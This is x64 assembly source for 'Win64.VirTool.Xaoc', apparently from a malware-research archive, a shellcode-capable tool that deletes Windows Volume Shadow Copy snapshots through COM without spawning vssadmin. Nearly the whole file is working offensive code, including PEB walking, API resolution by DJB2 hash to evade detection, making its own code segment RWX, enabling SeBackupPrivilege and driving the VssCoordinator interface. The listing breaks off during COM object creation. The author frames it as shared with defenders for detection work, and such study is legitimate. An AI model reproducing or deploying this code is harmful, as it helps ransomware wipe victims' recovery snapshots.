VXUG-Papers/Xaoc/Xaoc - asm/Win64.VirTool.Xaoc.asm
2021-08-01 10:16:56 -05:00

971 lines
57 KiB
NASM

;----------------------------------------------------------------------------------------------------------------------
; VirTool: Win64.VirTool.Xaoc
; Author : Paul L. (@am0nsec)
; Version: 1.0
; Link : https://github.com/am0nsec/vx
;
;
; VirTool features:
; - Position independent code that can be used as shellcode
; - Delete VSS snapshots without spawning vssadmin.exe image
;
;
; Please note that the original code (in a more human readable format: i.e., C) for this tool has been sent to various
; blue-teamer and TI professional prior to its release. This has been decided due to the ongoing ransomware attacks
; that are deleting VSS snapshot to prevent forensic recovery of encrypted data. 1 month has been provided to identify
; reliable and scalable detection mechanism.
;
;
; Compilation:
; - ml64.exe /c /Zi /Fo"XAOS.obj" /W3 /errorReport:prompt XAOS.ASM
; - link.exe /SUBSYSTEM:CONSOLE /ENTRY:"xaos" /MACHINE:X64 XAOS.obj
;
;
; Thanks to:
; - @smelly__vx
; - deadlock
; - @Coldzer0x0
; - @0xA9five
;----------------------------------------------------------------------------------------------------------------------
IFNDEF __XAOS_GUARD__
__XAOS_GUARD__ EQU <1>
;----------------------------------------------------------------------------------------------------------------------
; Structures
;----------------------------------------------------------------------------------------------------------------------
GUID STRUCT
Data1 DWORD ?
Data2 WORD ?
Data3 WORD ?
Data4 BYTE 7 dup(?)
GUID ENDS
_LUID STRUCT
LowPart DWORD ?
HighPart DWORD ?
_LUID ENDS
_LUID_AND_ATTRIBUTES STRUCT
Luid _LUID <>
Attributes DWORD ?
_LUID_AND_ATTRIBUTES ENDS
_TOKEN_PRIVILEGES STRUCT
PrivilegeCount DWORD ?
Privileges _LUID_AND_ATTRIBUTES 1 dup(<>)
_TOKEN_PRIVILEGES ENDS
_VSS_SNAPSHOT_PROP STRUCT
m_SnapshotId GUID <>
m_SnapshotSetId GUID <>
m_lSnapshotsCount QWORD ?
m_pwszSnapshotDeviceObject QWORD ?
m_pwszOriginalVolumeName QWORD ?
m_pwszOriginatingMachine QWORD ?
m_pwszServiceMachine QWORD ?
m_pwszExposedName QWORD ?
m_pwszExposedPath QWORD ?
m_ProviderId GUID <>
m_lSnapshotAttributes QWORD ?
m_tsCreationTimestamp QWORD ?
m_eStatus QWORD ?
_VSS_SNAPSHOT_PROP ENDS
_VSS_PROVIDER_PROP STRUCT
m_ProviderId GUID <>
m_pwszProviderName QWORD ?
m_eProviderType DWORD ?
m_pwszProviderVersion QWORD ?
m_ProviderVersionId GUID <>
m_ClassId GUID <>
_VSS_PROVIDER_PROP ENDS
_VSS_OBJECT_PROP STRUCT
ObjType QWORD ?
UNION
Snap _VSS_SNAPSHOT_PROP <>
Prov _VSS_PROVIDER_PROP <>
ENDS
_VSS_OBJECT_PROP ENDS
LARGE_INTEGER struct
LowPart DWORD ? ; 0x0000
HighPart DWORD ? ; 0x0004
LARGE_INTEGER ends
ULARGE_INTEGER struct
LowPart DWORD ? ; 0x0000
HighPart DWORD ? ; 0x0004
ULARGE_INTEGER ends
UNICODE_STRING struct
_Length WORD ? ; 0x0000
MaximumLength WORD ? ; 0x0002
BYTE 4 dup(?) ; padding
Buffer QWORD ? ; 0x0008
UNICODE_STRING ends
LIST_ENTRY struct
Flink QWORD ? ; 0x0000
BLink QWORD ? ; 0x0008
LIST_ENTRY ends
PEB struct
InheritedAddressSpace BYTE ? ; 0x0000
ReadImageFileExecOptions BYTE ? ; 0x0001
BeingDebugged BYTE ? ; 0x0002
BitField BYTE ? ; 0x0003
Padding0 BYTE 4 dup(?) ; 0x0004
Mutant QWORD ? ; 0x0008
ImageBaseAddress QWORD ? ; 0x0010
Ldr QWORD ? ; 0x0018
ProcessParameters QWORD ? ; 0x0020
SubSystemData QWORD ? ; 0x0028
ProcessHeap QWORD ? ; 0x0030
FastPebLock QWORD ? ; 0x0038
AtlThunkSListPtr QWORD ? ; 0x0040
IFEOKey QWORD ? ; 0x0048
CrossProcessFlags DWORD ? ; 0x0050
Padding1 BYTE 4 dup(?) ; 0x0054
UserSharedInfoPtr QWORD ? ; 0x0058
SystemReserved DWORD ? ; 0x0060
AtlThunkSListPtr32 DWORD ? ; 0x0064
ApiSetMap QWORD ? ; 0x0068
TlsExpansionCounter DWORD ? ; 0x0070
Padding2 BYTE 4 dup(?) ; 0x0074
TlsBitmap QWORD ? ; 0x0078
TlsBitmapBits DWORD 2 dup(?) ; 0x0080
ReadOnlySharedMemoryBase QWORD ? ; 0x0088
SharedData QWORD ? ; 0x0090
ReadOnlyStaticServerData QWORD ? ; 0x0098
AnsiCodePageData QWORD ? ; 0x00A0
OemCodePageData QWORD ? ; 0x00A8
UnicodeCaseTableData QWORD ? ; 0x00B0
NumberOfProcessors DWORD ? ; 0x00B9
NtGlobalFlag DWORD ? ; 0x00BC
CriticalSectionTimeout LARGE_INTEGER <> ; 0x00C0
HeapSegmentReserve QWORD ? ; 0x00C8
HeapSegmentCommit QWORD ? ; 0x00D0
HeapDeCommitTotalFreeThreshold QWORD ? ; 0x00D8
HeapDeCommitFreeBlockThreshold QWORD ? ; 0x00E0
NumberOfHeaps DWORD ? ; 0x00E8
MaximumNumberOfHeaps DWORD ? ; 0x00EC
ProcessHeaps QWORD ? ; 0x00F0
GdiSharedHandleTable QWORD ? ; 0x00F8
ProcessStarterHelper QWORD ? ; 0x0100
GdiDCAttributeList DWORD ? ; 0x0108
Padding3 BYTE 4 dup(?) ; 0x010C
LoaderLock QWORD ? ; 0x0110
OSMajorVersion DWORD ? ; 0x0118
OSMinorVersion DWORD ? ; 0x011C
OSBuildNumber WORD ? ; 0x0120
OSCSDVersion WORD ? ; 0x0122
OSPlatformId DWORD ? ; 0x0124
ImageSubsystem DWORD ? ; 0x0128
ImageSubsystemMajorVersion DWORD ? ; 0x012C
ImageSubsystemMinorVersion DWORD ? ; 0x0130
Padding4 BYTE 4 dup(?) ; 0x0134
ActiveProcessAffinityMask QWORD ? ; 0x0138
GdiHandleBuffer DWORD 60 dup(?) ; 0x0140
PostProcessInitRoutine QWORD ? ; 0x0230
TlsExpansionBitmap QWORD ? ; 0x0238
TlsExpansionBitmapBits DWORD 32 dup(?) ; 0x0240
SessionId DWORD ? ; 0x02C0
Padding5 BYTE 4 dup(?) ; 0x02C4
AppCompatFlags ULARGE_INTEGER <> ; 0x02C8
AppCompatFlagsUser ULARGE_INTEGER <> ; 0x02D0
pShimData QWORD ? ; 0x02D8
AppCompatInfo QWORD ? ; 0x02E0
CSDVersion UNICODE_STRING <> ; 0x02E8
ActivationContextData QWORD ? ; 0x02F8
ProcessAssemblyStorageMap QWORD ? ; 0x0300
SystemDefaultActivationContextData QWORD ? ; 0x0308
SystemAssemblyStorageMap QWORD ? ; 0x0310
MinimumStackCommit QWORD ? ; 0x0318
SparePointers QWORD 4 dup(?) ; 0x0320
SpareUlongs DWORD 5 dup(?) ; 0x0340
BYTE 4 dup(?)
WerRegistrationData QWORD ? ; 0x0358
WerShipAssertPtr QWORD ? ; 0x0360
pUnused QWORD ? ; 0x0368
pImageHeaderHash QWORD ? ; 0x0370
TracingFlags DWORD ? ; 0x0378
Padding6 BYTE 4 dup(?) ; 0x037c
CsrServerReadOnlySharedMemoryBase QWORD ? ; 0x0380
TppWorkerpListLock QWORD ? ; 0x0388
TppWorkerpList LIST_ENTRY <> ; 0x0390
WaitOnAddressHashTable QWORD 128 dup(?) ; 0x03A0
TelemetryCoverageHeader QWORD ? ; 0x07A0
CloudFileFlags DWORD ? ; 0x07A8
CloudFileDiagFlags DWORD ? ; 0x07AC
PlaceholderCompatibilityMode BYTE ? ; 0x07B0
PlaceholderCompatibilityModeReserved BYTE 7 dup(?) ; 0x07B1
LeapSecondData QWORD ? ; 0x07B8
LeapSecondFlags DWORD ? ; 0x07c0
NtGlobalFlag2 DWORD ? ; 0x07c4
PEB ends
PEB_LDR_DATA struct
_Length DWORD ? ; 0x0000
Initialized BYTE ? ; 0x0004
BYTE 3 dup(?) ; padding
SsHandle QWORD ? ; 0x0008
InLoadOrderModuleList LIST_ENTRY <> ; 0x0010
InMemoryOrderModuleList LIST_ENTRY <> ; 0x0020
InInitializationOrderModuleList LIST_ENTRY <> ; 0x0030
EntryInProgress QWORD ? ; 0x0040
ShutdownInProgress BYTE ? ; 0x0048
BYTE 7 dup(?) ; padding
ShutdownThreadId QWORD ? ; 0x0050
PEB_LDR_DATA ends
RTL_BALANCED_NODE struct
_Dummy BYTE 24 dup(?)
RTL_BALANCED_NODE ends
LDR_DATA_TABLE_ENTRY struct
InLoadOrderLinks LIST_ENTRY <> ; 0x0000
InMemoryOrderLinks LIST_ENTRY <> ; 0x0010
InInitializationOrderLinks LIST_ENTRY <> ; 0x0020
DllBase QWORD ? ; 0x0030
EntryPoint QWORD ? ; 0x0038
SizeOfImage DWORD ? ; 0x0040
BYTE 4 dup(?) ; padding
FullDllName UNICODE_STRING <> ; 0x0048
BaseDllName UNICODE_STRING <> ; 0x0058
FlagGroup BYTE 4 dup(?) ; 0x0068
ObsoleteLoadCount WORD ? ; 0x006C
TlsIndex WORD ? ; 0x006E
HashLinks LIST_ENTRY <> ; 0x0070
TimeDateStamp DWORD ? ; 0x0080
BYTE 4 dup(?) ; padding
EntryPointActivationContext QWORD ? ; 0x0088
_Lock QWORD ? ; 0x0090
DdagNode QWORD ? ; 0x0098
NodeModuleLink LIST_ENTRY <> ; 0x00A0
LoadContext QWORD ? ; 0x00B0
ParentDllBase QWORD ? ; 0x00B8
SwitchBackContext QWORD ? ; 0x00C0
BaseAddressIndexNode RTL_BALANCED_NODE <> ; 0x00C8
MappingInfoIndexNode RTL_BALANCED_NODE <> ; 0x00E0
OriginalBase QWORD ? ; 0x00F8
LoadTime LARGE_INTEGER <> ; 0x0100
BaseNameHashValue DWORD ? ; 0x0108
LoadReason DWORD ? ; 0x010C
ImplicitPathOptions DWORD ? ; 0x0110
ReferenceCount DWORD ? ; 0x0114
DependentLoadFlags DWORD ? ; 0x0118
SigningLevel BYTE ? ; 0x011C
LDR_DATA_TABLE_ENTRY ends
IMAGE_DOS_HEADER struct
e_magic WORD ? ; 0x0000
e_cblp WORD ? ; 0x0002
e_cp WORD ? ; 0x0004
e_crlc WORD ? ; 0x0006
e_cparhdr WORD ? ; 0x0008
e_minalloc WORD ? ; 0x000A
e_maxalloc WORD ? ; 0x000C
e_ss WORD ? ; 0x000E
e_sp WORD ? ; 0x0010
e_csum WORD ? ; 0x0012
e_ip WORD ? ; 0x0014
e_cs WORD ? ; 0x0016
e_lfarlc WORD ? ; 0x0018
e_ovno WORD ? ; 0x001A
e_res WORD 4 dup(?) ; 0x001C
e_oemid WORD ? ; 0x0024
e_oeminfo WORD ? ; 0x0026
e_res2 WORD 10 dup(?) ; 0x0028
e_lfanew DWORD ? ; 0x003C
IMAGE_DOS_HEADER ends
IMAGE_FILE_HEADER struct
Machine WORD ? ; 0x0000
NumberOfSections WORD ? ; 0x0002
TimeDateStamp DWORD ? ; 0x0004
PointerToSymbolTable DWORD ? ; 0x0008
NumberOfSymbols DWORD ? ; 0x000c
SizeOfOptionalHeader WORD ? ; 0x0010
Characteristics WORD ? ; 0x0012
IMAGE_FILE_HEADER ends
IMAGE_DATA_DIRECTORY struct
VirtualAddress DWORD ? ; 0x0000
_Size DWORD ? ; 0x0004
IMAGE_DATA_DIRECTORY ends
IMAGE_OPTIONAL_HEADER64 struct
Magic WORD ? ; 0x0000
MajorLinkerVersion BYTE ? ; 0x0002
MinorLinkerVersion BYTE ? ; 0x0003
SizeOfCode DWORD ? ; 0x0004
SizeOfInitializedData DWORD ? ; 0x0008
SizeOfUninitializedData DWORD ? ; 0x000C
AddressOfEntryPoint DWORD ? ; 0x0010
BaseOfCode DWORD ? ; 0x0014
ImageBase QWORD ? ; 0x0018
SectionAlignment DWORD ? ; 0x0020
FileAlignment DWORD ? ; 0x0024
MajorOperatingSystemVersion WORD ? ; 0x0028
MinorOperatingSystemVersion WORD ? ; 0x002a
MajorImageVersion WORD ? ; 0x002C
MinorImageVersion WORD ? ; 0x002E
MajorSubsystemVersion WORD ? ; 0x0030
MinorSubsystemVersion WORD ? ; 0x0032
Win32VersionValue DWORD ? ; 0x0034
SizeOfImage DWORD ? ; 0x0038
SizeOfHeaders DWORD ? ; 0x003c
CheckSum DWORD ? ; 0x0040
Subsystem WORD ? ; 0x0044
DllCharacteristics WORD ? ; 0x0046
SizeOfStackReserve QWORD ? ; 0x0048
SizeOfStackCommit QWORD ? ; 0x0050
SizeOfHeapReserve QWORD ? ; 0x0058
SizeOfHeapCommit QWORD ? ; 0x0060
LoaderFlags DWORD ? ; 0x0068
NumberOfRvaAndSizes DWORD ? ; 0x006C
DataDirectory IMAGE_DATA_DIRECTORY 16 dup(<>) ; 0x0070
IMAGE_OPTIONAL_HEADER64 ends
IMAGE_NT_HEADERS64 struct
Signature DWORD ? ; 0x0000
FileHeader IMAGE_FILE_HEADER <> ; 0x0004
OptionalHeader IMAGE_OPTIONAL_HEADER64 <> ; 0x0018
IMAGE_NT_HEADERS64 ends
IMAGE_EXPORT_DIRECTORY struct
Characteristics DWORD ? ; 0x0000
TimeDateStamp DWORD ? ; 0x0004
MajorVersion WORD ? ; 0x0008
MinorVersion WORD ? ; 0x000A
_Name DWORD ? ; 0x000C
Base DWORD ? ; 0x0010
NumberOfFunctions DWORD ? ; 0x0014
NumberOfNames DWORD ? ; 0x0018
AddressOfFunctions DWORD ? ; 0x001C
AddressOfNames DWORD ? ; 0x0020
AddressOfNameOrdinals DWORD ? ; 0x0024
IMAGE_EXPORT_DIRECTORY ends
;----------------------------------------------------------------------------------------------------------------------
; GlobalOptions COM server
;----------------------------------------------------------------------------------------------------------------------
GlobalOptionsVtbl STRUCT
QueryInterface QWORD ?
AddRef QWORD ?
Release QWORD ?
Set QWORD ?
Query QWORD ?
GlobalOptionsVtbl ENDS
PGlobalOptionsVtbl TYPEDEF PTR GlobalOptionsVtbl
IGlobalOptions STRUCT
lpVtbl PGlobalOptionsVtbl ?
IGlobalOptions ENDS
;----------------------------------------------------------------------------------------------------------------------
; VssCoordinator COM server
;----------------------------------------------------------------------------------------------------------------------
VssCoordinatorVtbl STRUCT
QueryInterface QWORD ?
AddRef QWORD ?
Release QWORD ?
SetContext QWORD ?
StartSnapshotSet QWORD ?
AddToSnapshotSet QWORD ?
DoSnapshotSet QWORD ?
GetSnapshotProperties QWORD ?
ExposeSnapshot QWORD ?
ImportSnapshots QWORD ?
Query QWORD ?
DeleteSnapshots QWORD ?
BreakSnapshotSet QWORD ?
RevertToSnapshot QWORD ?
QueryRevertStatus QWORD ?
IsVolumeSupported QWORD ?
IsVolumeSnapshotted QWORD ?
SetWriterInstance QWORD ?
VssCoordinatorVtbl ENDS
PVssCoordinatorVtbl TYPEDEF PTR VssCoordinatorVtbl
IVssCoordinator STRUCT
lpVtbl PVssCoordinatorVtbl ?
IVssCoordinator ENDS
;----------------------------------------------------------------------------------------------------------------------
; VssEnumObject COM server
;----------------------------------------------------------------------------------------------------------------------
VssEnumObjectVtbl STRUCT
QueryInterface QWORD ?
AddRef QWORD ?
Release QWORD ?
Next QWORD ?
Skip QWORD ?
Reset QWORD ?
Clone QWORD ?
VssEnumObjectVtbl ENDS
PVssEnumObjectVtbl TYPEDEF PTR VssEnumObjectVtbl
IVssEnumObject STRUCT
lpVtbl PVssEnumObjectVtbl ?
IVssEnumObject ENDS
ENDIF ; !__XAOS_GUARD__
;----------------------------------------------------------------------------------------------------------------------
; Code segment
;----------------------------------------------------------------------------------------------------------------------
_TEXT$00 SEGMENT ALIGN(10h) 'CODE'
; @brief Collection of GUID for diffrent COM classes.
Classes PROC
; @brief GUID of the GlobalOptions COM class: 0000034B-0000-0000-C000-000000000046
CLSID_GlobalOptions LABEL PTR
dword 0000034Bh
word 0000h
word 0000h
byte 0c0h
byte 00h
byte 00h
byte 00h
byte 00h
byte 00h
byte 00h
byte 46h
; @brief GUID of the VssCoordinator COM class: e579ab5f-1cc4-44b4-bed9-de0991ff0623
CLSID_VssCoordinator LABEL PTR
dword 0e579ab5fh
word 1cc4h
word 44b4h
byte 0beh
byte 0d9h
byte 0deh
byte 09h
byte 91h
byte 0ffh
byte 06h
byte 23h
; @brief NULL GUID
CLSID_NULL LABEL PTR
dword 00000000h
word 0000h
word 0000h
byte 00h
byte 00h
byte 00h
byte 00h
byte 00h
byte 00h
byte 00h
byte 00h
Classes ENDP
; @brief Collection of GUID for diffrent COM interfaces.
Interfaces PROC
; @brief GUID of the GlobalOptions COM interface: 0000015B-0000-0000-C000-000000000046
IID_GlobalOptions LABEL PTR
dword 0000015Bh
word 0000h
word 0000h
byte 0c0h
byte 00h
byte 00h
byte 00h
byte 00h
byte 00h
byte 00h
byte 46h
; @brief GUID of the VssCoordinator COM interface: da9f41d4-1a5d-41d0-a614-6dfd78df5d05
IID_VssCoordinator LABEL PTR
dword 0da9f41d4h
word 1a5dh
word 41d0h
byte 0a6h
byte 014h
byte 6dh
byte 0fdh
byte 78h
byte 0dfh
byte 5dh
byte 05h
Interfaces ENDP
; @brief Collection of COM objects.
Objects PROC
GlobalOptions LABEL PTR
IGlobalOptions <>
VssCoordinator LABEL PTR
IVssCoordinator <>
VssEnumObject LABEL PTR
IVssEnumObject <>
Objects ENDP
; @brief Collection of function pointers
Functions PROC
; ntdll.dll function
LdrLoadDll LABEL PTR
QWORD ?
RtlAdjustPrivilege LABEL PTR
QWORD ?
; kernel32.dll functions
CloseHandle LABEL PTR
QWORD ?
ExitProcess LABEL PTR
QWORD ?
VirtualProtect LABEL PTR
QWORD ?
; ole32.dll functions
CoCreateInstance LABEL PTR
QWORD ?
CoInitializeEx LABEL PTR
QWORD ?
CoInitializeSecurity LABEL PTR
QWORD ?
CoUninitialize LABEL PTR
QWORD ?
Functions ENDP
; @brief Initialise the tool by resolving all the required modules and their functions.
ResolveFunctionAddresses PROC
;----------------------------------------------------------------------------------------------------------------------
; 1. Find the base of the module if not provided (will only work for ntdll in order to find LdrLoadDll).
;----------------------------------------------------------------------------------------------------------------------
_start:
cmp rdx, 00h ;
jnz _get_export_directrory ;
mov rdx, gs:[60h] ; Get process environment block (PEB)
cmp [rdx].PEB.OSMajorVersion, 0Ah ;
jne _exit ; Jump if not Windows 10
; Get the base address of ntdll
mov rdx, [rdx].PEB.Ldr ;
mov rdx, [rdx].PEB_LDR_DATA.InMemoryOrderModuleList.Flink - 10h ; First loaded module: e.g. xaos.exe
mov rdx, [rdx].LDR_DATA_TABLE_ENTRY.InMemoryOrderLinks.Flink - 10h ; Second loaded module: e.g. ntdll.dll
mov rdx, [rdx].LDR_DATA_TABLE_ENTRY.DllBase ; Image base of the module
;----------------------------------------------------------------------------------------------------------------------
; 2. Get the Export Address Table (EAT) of the module.
;----------------------------------------------------------------------------------------------------------------------
_get_export_directrory:
; Get module export directory
mov r15, rdx ;
cmp [rdx].IMAGE_DOS_HEADER.e_magic, 5A4Dh ; DOS Header --> MZ
jne _exit ;
mov ebx, [rdx].IMAGE_DOS_HEADER.e_lfanew ; RVA of IMAGE_NT_HEADERS64
add rdx, rbx ;
cmp [rdx].IMAGE_NT_HEADERS64.Signature, 00004550h ; NT Header --> PE00
jne _exit ;
mov ebx, IMAGE_NT_HEADERS64.OptionalHeader ; RVA of IMAGE_OPTIONAL_HEADER64
add rdx, rbx ;
cmp [rdx].IMAGE_OPTIONAL_HEADER64.Magic, 20bh ; Optional header --> 0x20b
jne _exit ;
lea rdx, [rdx].IMAGE_OPTIONAL_HEADER64.DataDirectory ; First entry of the DataDirectory array
mov ebx, [rdx].IMAGE_DATA_DIRECTORY.VirtualAddress ; RVA of IMAGE_EXPORT_DIRECTORY
mov rdx, r15 ; ImageBase
add rdx, rbx ; Module + RVA
;----------------------------------------------------------------------------------------------------------------------
; 3. Resolve address of the diffrent tables
;----------------------------------------------------------------------------------------------------------------------
_get_table_addresses:
xor r14, r14 ;
xor r13, r13 ;
xor r12, r12 ;
xor r11, r11 ;
mov ebx, [rdx].IMAGE_EXPORT_DIRECTORY.AddressOfNames ; Address of the function name
mov r11, r15 ; Function name RVA
add r11, rbx ; ImageBase + RVA
mov ebx, [rdx].IMAGE_EXPORT_DIRECTORY.AddressOfFunctions ; Address of function pointers
mov r12, r15 ;
add r12, rbx ;
mov ebx, [rdx].IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals ; Address of function ordinals
mov r13, r15 ;
add r13, rbx ;
mov r14d, [rdx].IMAGE_EXPORT_DIRECTORY.NumberOfNames ; Total number of named functions
dec r14 ;
;----------------------------------------------------------------------------------------------------------------------
; 4. Parse the exported functions to find the functiosn required by this tool
;----------------------------------------------------------------------------------------------------------------------
dec rcx ;
_parse_functions_name:
mov rbx, 4h ; sizeof(DWORD)
imul rbx, r14 ; siezof(DWORD) * RCX
mov esi, [r11 + rbx] ; Function RVA
add rsi, r15 ; Function RVA + ImageBase
mov ebx, 5381h ; hash = 0x5381
_djb2_hash:
mov r10d, ebx ; Store original hash value for later
shl ebx, 05h ; hash << 5
add ebx, r10d ; (hash << 5) + hash
xor r10d, r10d ; Clean temporary hash value
mov r10b, byte ptr [rsi] ; Get ASCII char
add ebx, r10d ; ((hash << 5) + hash) + char
inc rsi ; Next string char
cmp byte ptr [rsi], 00h ; End of string
jne _djb2_hash ;
;----------------------------------------------------------------------------------------------------------------------
; 5. Check hash value
;----------------------------------------------------------------------------------------------------------------------
mov r10d, dword ptr [r8 + 4 * rcx] ;
cmp r10d, ebx ; Check if hashes matches
je _get_function_address ;
dec r14 ;
jmp _parse_functions_name ;
;----------------------------------------------------------------------------------------------------------------------
; 6. Get the address of the function and modify the jump table
;----------------------------------------------------------------------------------------------------------------------
_get_function_address:
mov rax, 2h ; sizeof(WORD)
imul rax, r14 ; sizeof(WORD) * R14
mov ax, [r13 + rax] ; AX = function ordinal
imul rax, 4 ; sizeof(DWORD) * ordinal
mov eax, [r12 + rax] ; RVA of function
mov rbx, r15 ; RBX = ImageBase
add rbx, rax ; RBX = address of function
mov qword ptr [r9 + 8 * rcx], rbx
_reset_loopp:
mov r14d, [rdx].IMAGE_EXPORT_DIRECTORY.NumberOfNames ; Reset number of named functions
dec r14 ;
dec rcx ; Next function to find
jns _parse_functions_name ;
;----------------------------------------------------------------------------------------------------------------------
; 7. Exit this routine
;----------------------------------------------------------------------------------------------------------------------
_exit:
xor eax, eax
inc eax
ret
ResolveFunctionAddresses ENDP
; @brief Entry point.
xaoc PROC
push rbp ; Frame pointer
mov rbp, rsp ; Stack pointer
sub rsp, 1F0h ; Room for stack
and rsp, not 8 ; Shadow stack alignment
_start:
;----------------------------------------------------------------------------------------------------------------------
; 1. Initialise the tool by resolving all the modules and their functions
;
; rsp + 20h - dwLdrLoadDll 0x0fd5649f
; rsp + 24h - dwRtlAdjustPrivilege 0xbf6edb85
; rsp + 28h - dwCloseHandle 0xdeef8303
; rsp + 2Ch - dwExitProces 0x5de7ec9a
; rsp + 30h - dwVirtualProtect 0xe77dd909
; rsp + 34h - dwCoCreateInstance 0xa5121f9c
; rsp + 38h - dwCoInitializeEx 0x24fb7662
; rsp + 4Ch - dwCoInitializeSecurity 0xa982945d
; rsp + 40h - dwCoUninitialize 0x6473dfc8
;----------------------------------------------------------------------------------------------------------------------
; rsp + 50h - LdrLoadDll
; rsp + 58h - RtlAdjustPrivilege
; rsp + 60h - CloseHandle
; rsp + 68h - ExitProces
; rsp + 70h - VirtualProtect
; rsp + 78h - CoCreateInstance
; rsp + 80h - CoInitializeEx
; rsp + 88h - CoInitializeSecurity
; rsp + 90h - CoUninitialize
;----------------------------------------------------------------------------------------------------------------------
mov dword ptr [rsp + 20h], 0fd5649fh ; LdrLoadDll DJB2 hash
mov dword ptr [rsp + 24h], 0bf6edb85h ; RtlAdjustPrivilege DJB2 Hash
mov dword ptr [rsp + 28h], 0deef8303h ; CloseHandle DJB2 hash
mov dword ptr [rsp + 2Ch], 5de7ec9ah ; ExitProces DJB2 Hash
mov dword ptr [rsp + 30h], 0e77dd909h ; VirtualProtect DJB2 hash
mov dword ptr [rsp + 34h], 0a5121f9ch ; CoCreateInstance DJB2 Hash
mov dword ptr [rsp + 38h], 24fb7662h ; CoInitializeEx DJB2 hash
mov dword ptr [rsp + 3Ch], 0a982945dh ; CoInitializeSecurity DJB2 Hash
mov dword ptr [rsp + 40h], 6473dfc8h ; CoUninitialize DJB2 Hash
; Get address of LdrLoadDll and RtlAdjustPrivilege
xor ecx, ecx ; Number of function to resolve
add ecx, 02h ;
xor edx, edx ; Module Base
mov r8, rsp ; Address of the hashes
add r8, 20h ;
mov r9, rsp ; Address of the function pointers
add r9, 50h ;
call ResolveFunctionAddresses ;
; Get the address of kernel32.dll
mov dword ptr [rsp + 0B0h], 0065006bh ; ke
mov dword ptr [rsp + 0B4h], 006e0072h ; rn
mov dword ptr [rsp + 0B8h], 006c0065h ; el
mov dword ptr [rsp + 0BCh], 00320033h ; 32
mov dword ptr [rsp + 0C0h], 0064002eh ; .d
mov dword ptr [rsp + 0C4h], 006c006ch ; ll
mov dword ptr [rsp + 0C8h], 00000000h ; Null terminator
mov r10, rsp ;
add r10, 0A0h + sizeof UNICODE_STRING ; Address of the wide string
mov qword ptr [rsp + 0A0h].UNICODE_STRING.Buffer, r10 ;
mov dword ptr [rsp + 0A0h].UNICODE_STRING._Length, 18h ; strlen(Buffer)
mov dword ptr [rsp + 0A0h].UNICODE_STRING.MaximumLength, 1Ah ; sizeof(Buffer)
xor rcx, rcx ; PathToFile
xor rdx, rdx ; Flags
mov r8, rsp ; ModuleFileName
add r8, 0A0h ;
mov r9, rsp ; ModuleHandle
add r9, 0D0h ;
mov rax, [rsp + 50h] ; Address of LdrLoadDll
call rax ; Call LdrLoadDll function
; Get address of CloseHandle, ExitProces, VirtualProtect
mov rdx, [rsp + 0D0h] ; Module base
mov rcx, 03h ; Number of function to resolve
mov r8, rsp ; Address of the hashes
add r8, 28h ;
mov r9, rsp ; Address of the function pointers
add r9, 60h ;
call ResolveFunctionAddresses ;
; Loading comebase.dll module
mov dword ptr [rsp + 0B0h], 006f0063h ; co
mov dword ptr [rsp + 0B4h], 0062006dh ; mb
mov dword ptr [rsp + 0B8h], 00730061h ; as
mov dword ptr [rsp + 0BCh], 002e0065h ; e.
mov dword ptr [rsp + 0C0h], 006c0064h ; dl
mov dword ptr [rsp + 0C4h], 0000006ch ; l + Null terminator
mov dword ptr [rsp + 0C8h], 00000000h ; 00000000h
mov r10, rsp ;
add r10, 0A0h + sizeof UNICODE_STRING ; Address of the wide string
mov qword ptr [rsp + 0A0h].UNICODE_STRING.Buffer, r10 ;
mov dword ptr [rsp + 0A0h].UNICODE_STRING._Length, 16h ; strlen(Buffer)
mov dword ptr [rsp + 0A0h].UNICODE_STRING.MaximumLength, 18h ; sizeof(Buffer)
xor rcx, rcx ; PathToFile
xor rdx, rdx ; Flags
mov r8, rsp ; ModuleFileName
add r8, 0A0h ;
mov r9, rsp ; ModuleHandle
add r9, 0D0h ;
mov rax, [rsp + 50h] ; Address of LdrLoadDll
call rax ; Call LdrLoadDll function
; Get address of CoCreateInstance, CoInitializeEx, CoInitializeSecurity, CoUninitialize
mov rdx, [rsp + 0D0h] ; Module base
mov rcx, 04h ; Number of function to resolve
mov r8, rsp ; Address of the hashes
add r8, 34h ;
mov r9, rsp ; Address of the function pointers
add r9, 78h ;
call ResolveFunctionAddresses ; Call ResolveFunctionAddresses
;----------------------------------------------------------------------------------------------------------------------
; 2. Make the code segment RWX in order to be able to initialise and exec the
; various COM interfaces.
;----------------------------------------------------------------------------------------------------------------------
lea rcx, Objects ; lpAddress
mov rdx, 1000h ; dwSize
mov r8, 40h ; flNewProtect
lea r9, [rsp + 20h] ; lpflOldProtect
mov rax, [rsp + 70h] ; Address of VirtualProtect
call rax ; Call VirtualProtect function
test eax, eax ;
jz _epilogue ;
;----------------------------------------------------------------------------------------------------------------------
; 3. Copy the function pointer in memory.
;----------------------------------------------------------------------------------------------------------------------
mov rsi, rsp ; Source
add rsi, 50h ;
mov rdi, [Functions] ; Destination
xor ecx, ecx ; Number of function pointers
add ecx, 09h ;
_function_move_loop:
movsq ; Move data
loop _function_move_loop ;
;----------------------------------------------------------------------------------------------------------------------
; 4. Ensure that the current thread inpersonation token as the SeBackupPrivilege privilege.
;----------------------------------------------------------------------------------------------------------------------
xor rcx, rcx ; Privilege
add cx, 11h ;
xor rdx, rdx ; EnablePrivilege
inc dx ;
xor r8, r8 ; IsThreadPrivilege
mov r9, rsp ; PreviousValue
add r9, 20h ;
call RtlAdjustPrivilege ; Call RtlAdjustPrivilege
test eax, eax ;
jnz _epilogue ;
;----------------------------------------------------------------------------------------------------------------------
; 5. Initialise COM context and security context.
; Additonally disable structured exception handler.
;----------------------------------------------------------------------------------------------------------------------
xor ecx, ecx ; pvReserved
xor edx, edx ; dwCoInit
call CoInitializeEx ; Call CoInitializeEx
test eax, eax ;
jnz _epilogue ;
; Initialise COM security context
xor ecx, ecx ; pSecDesc
mov rdx, 0FFFFFFFFFFFFFFFFh ; cAuthSvc
xor r8, r8 ; asAuthSvc
xor r9, r9 ; pReserved1
mov qword ptr [rsp + 20h], 06h ; dwAuthnLevel
mov dword ptr [rsp + 28h], 02h ; dwImpLevel
mov qword ptr [rsp + 30h], 00h ; pAuthList
mov dword ptr [rsp + 38h], 00h ; dwCapabilities
mov dword ptr [rsp + 40h], 00h ; pReserved3
call CoInitializeSecurity ; Call CoInitializeSecurity
test eax, eax ;
jnz _epilogue ;
; Get the IGlobalOptions interface
lea rcx, CLSID_GlobalOptions ; rclsid
xor rdx, rdx ; pUnkOuter
xor r8, r8 ; dwClsContext (CLSCTX_INPROC_SERVER)
inc r8 ;
lea r9, IID_GlobalOptions ; riid
lea r10, GlobalOptions ; ppv
